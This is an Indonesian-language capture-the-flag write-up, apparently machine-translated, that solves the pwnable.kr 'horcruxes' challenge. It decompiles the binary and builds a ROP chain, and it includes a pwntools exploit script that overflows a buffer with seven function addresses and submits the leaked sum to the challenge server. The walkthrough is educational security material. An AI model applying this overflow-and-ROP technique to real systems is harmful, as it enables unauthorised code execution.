Pemecahan masalah dengan pwnable.kr 21 - horcuxes. Pemrograman Berorientasi Kembali dan Rantai ROP

gambar

Pada artikel ini, kita akan menyelesaikan tugas ke-21 dari situs pwnable.kr , yang bertujuan untuk menyusun rantai ROP.

Informasi Organisasi
Terutama bagi mereka yang ingin mempelajari sesuatu yang baru dan berkembang di bidang informasi dan keamanan komputer, saya akan menulis dan berbicara tentang kategori berikut:

  • PWN;
  • kriptografi (Crypto);
  • teknologi jaringan (Jaringan);
  • membalikkan (Reverse Engineering);
  • steganografi (Stegano);
  • pencarian dan eksploitasi kerentanan WEB.

Selain itu, saya akan membagikan pengalaman saya dalam forensik komputer, analisis malware dan firmware, serangan pada jaringan nirkabel dan jaringan area lokal, melakukan pentest dan menulis eksploitasi.

Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat saluran di Telegram dan grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi secara pribadi dan akan menjawab semua orang .

Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.

Solusi untuk pencarian horcrux


Saya tidak melihat alasan untuk menggambarkan pemrograman berorientasi terbalik, karena artikel ini menjelaskan semuanya dengan sangat rinci.

Kami mengklik ikon tanda tangan horcrux dan kami diberitahu bahwa kami harus terhubung melalui SSH dengan tamu kata sandi.

gambar

Saat terhubung, kami melihat spanduk yang sesuai.

gambar

Mari cari tahu file apa yang ada di server, serta hak apa yang kita miliki.

gambar

Ada file readme, mari kita lihat pesan apa yang mereka tinggalkan untuk kita.

gambar

Dilaporkan bahwa program berjalan pada port 9032. Kami tidak diberi kode sumber, jadi unduh sendiri programnya.
scp -P2222 horcruxes@pwnable.kr:horcruxes /root/ 

gambar

Jalankan di IDA dan dekompilasi. Ada tiga fungsi menarik: hint, init_ABCDEFG, dan ropme.

gambar

Dilihat dari namanya, fungsi hint harus mengandung hint. Mari kita melihatnya.

gambar

Dikatakan bahwa Anda harus melewati 7 level. Baiklah, mari kita lihat ropme.

gambar

Sudah lebih menarik. Program membaca angka dan jika sama dengan nilai referensi tertentu, maka fungsi dipanggil yang menampilkan nilai ini. Jadi ada 7 arti.

gambar

Jika tidak ada kecocokan, maka kami diminta untuk memasukkan string yang membandingkan dengan jumlah variabel. Jadi, mari kita lihat init_ABCDEFG.

gambar

Di sini, inisialisasi nilai referensi, yang dihasilkan secara acak, terjadi. Dan jumlah adalah jumlah dari angka-angka ini.

Kami menyortir program. Tooltip pencarian mengatakan ROP. Idenya adalah sebagai berikut, kita perlu memanggil semua 7 fungsi untuk mengetahui nilai referensi, dan kemudian memanggil ropme lagi untuk mentransfer jumlah nilai-nilai ini.

Berkat fungsi get, kita dapat menulis ulang alamat pengirim dengan rantai alamat. Kami menghitung jumlah byte ke alamat pengirim.

gambar

Jadi, kita perlu mentransfer program, kita perlu mentransfer 0x78 byte dari rintisan, dan kemudian di baris 8 alamat fungsi. Di IDA kami menemukan alamat fungsi kami.

gambar

Sekarang mari kita menulis eksploit.
 rom pwn import * payload = "A" * 0x78 payload += p32(0x0809fe4b) payload += p32(0x0809fe6a) payload += p32(0x0809fe89) payload += p32(0x0809fea8) payload += p32(0x0809fec7) payload += p32(0x0809fee6) payload += p32(0x0809ff05) payload += p32(0x0809fffc) con = remote("pwnable.kr", 9032) con.recv() con.recv() con.send("123" + "\n") con.recv() con.send(payload + "\n") con.recv() ans = con.recv().split('\n') sum_result = 0 for i in range(1,8): sum_result += int(ans[i].split('+')[1].split(')')[0]) con.send("123" + "\n") con.send(str(sum_result) + "\n") 


gambar

Kami mendapatkan bendera yang diinginkan dan menyelesaikan bagian pertama dari tugas di pwnable.kr.

gambar

Anda dapat bergabung dengan kami di Telegram . Lain kali kita akan berurusan dengan heap overflow.

Source: https://habr.com/ru/post/id463737/


All Articles